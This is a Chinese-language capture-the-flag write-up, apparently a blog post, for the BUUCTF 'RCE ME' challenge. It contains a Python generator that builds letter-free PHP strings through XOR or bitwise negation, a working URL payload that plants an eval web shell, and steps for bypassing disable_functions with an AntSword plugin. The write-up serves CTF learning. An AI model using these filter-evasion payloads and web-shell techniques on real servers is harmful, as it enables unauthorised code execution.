首页 > 技术文章 > [BUUCTF题解][极客大挑战 2019]RCE ME 1

Article-kelp 2021-04-24 21:37 原文

 打开页面,出现了!是过滤了26个字母和10个数字的代码执行代码,刚好是还没学过的内容,连忙先找师傅们的文章学习。

涉及的知识已单独写了篇博客:使用非常规字符写出Shell - Article_kelp - 博客园 (cnblogs.com)

首先是获得所需要的字符,这里博主又糊了一个脚本,包含取反和异或两种生成拼接方式。

#blacklist列表中的字符在生成的拼接字符串中不会被使用,除了部分是被过滤掉的字符,其余的如',"等字符考虑可能会导致闭合等问题暂列入
#如果有其他的要求可以对blacklist列表进行删改
blacklist=["`","'",'"',"\\""0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"]
#不同于取反,一个目标字符串使用异或的方式可以获大量的可用拼接字符串,这里只取了1种组合的拼接字符串
#如果需要获得更多拼接字符串查看该函数中的result列表
def yiHuo(string):
    global operationEffient
    global blacklist
    operationEffient=False
    result=[]
    finalstr='""^""'
    rawstr=string
    for i in range(0,len(rawstr)):
        result.extend([[]])
    for k in range(0,len(rawstr)):
        for i in range(32,255):
           if(chr(i) not in blacklist):
                for j in range(32,255):
                    if(chr(j) not in blacklist):
                        if(i^j==ord(rawstr[k])):
                            result[k].extend([[hex(i).replace('0x',"%"),hex(j).replace('0x',"%")]])
    #在这里往下的函数部分,result列表均是可用的(已填充了获得的拼接字符串)
    for i in range(0,len(result)):
        if(len(result[i])==0):
            return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i]))
    for i in range(0,len(rawstr)):
        finalstr=finalstr[:finalstr.find("^",0)-1]+result[i][0][0]+'"'+finalstr[finalstr.find("^",0):]
        finalstr=finalstr[:finalstr.rfind("'",0)]+result[i][0][1]+finalstr[finalstr.rfind('"',0):]    
    return(finalstr)
def quFan(string):
    global operationEffient
    global blacklist
    operationEffient=False
    result=[]
    finalstr='~""'
    rawstr=string
    for i in range(0,len(rawstr)):
        result.extend([[]])
    for k in range(0,len(rawstr)):
        for i in range(32,255):
           if(chr(i) not in blacklist and chr(int(bin(~i & 0xFF)[2:],2))==rawstr[k]):
               result[k].extend([hex(i).replace('0x',"%")])
    for i in range(0,len(result)):
        if(len(result[i])==0):
            return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i]))
    print(result)
    for i in range(0,len(rawstr)):
        finalstr=finalstr[:finalstr.rfind('"',0)]+result[i][0]+finalstr[finalstr.rfind('"',0):]
    return(finalstr)
while(True):
    operationEffient=True
    target=input("请输入待转换字符\n")
    while(operationEffient):
        operation=input("请选择操作\n1->使用异或拼接\n2->使用取反获得\n")
        if(operation=="1"):
            result=yiHuo(target)
            pass
        elif(operation=="2"):
            result=quFan(target)
            pass
        else:
            print("选择的操作无效")
            continue
        print(result)

使用效果如下:

 现在就可以实现代码执行了,先传入一个拼接出来的SHELL,这里采用取反。

获得的Payload为:?code=(~%22%9e%8c%8c%9a%8d%8b%22)(~%22%9a%89%9e%93%d7%db%a0%af%b0%ac%ab%a4%d8%9c%92%9b%d8%a2%d6%22);

翻倒根目录就可以看到两个和flag有关的文件。

 但是直接打开flag看不到任何内容(readflag打开一堆乱码),那么应该是调用readflag文件来读取flag,但是打开终端会发现执行不了任何命令。

 

这个时候访问下phpinfo()查看下配置就会发现,在disable_function内禁用了很大部分函数,在终端也因此执行不了操作。

这个时候就有两种解题方案,一种是采用手工来绕过disable_function的限制,但显然这又是博主未涉及到的领域,而且这部分的内容多到又可以写篇博客(日后再学吧);那么则可以采用第二种,蚁剑提供了可以用来绕过的插件(XD)。

 (安装这个插件的时候可能会出现持续下载中或加载不出来等情况,这个具体可以参考蚁剑官网的解决方案)

安装完成后再用插件再打开终端,这个时候命令就能正常执行了,再去运行readflag就能拿到flag了。

 

推荐阅读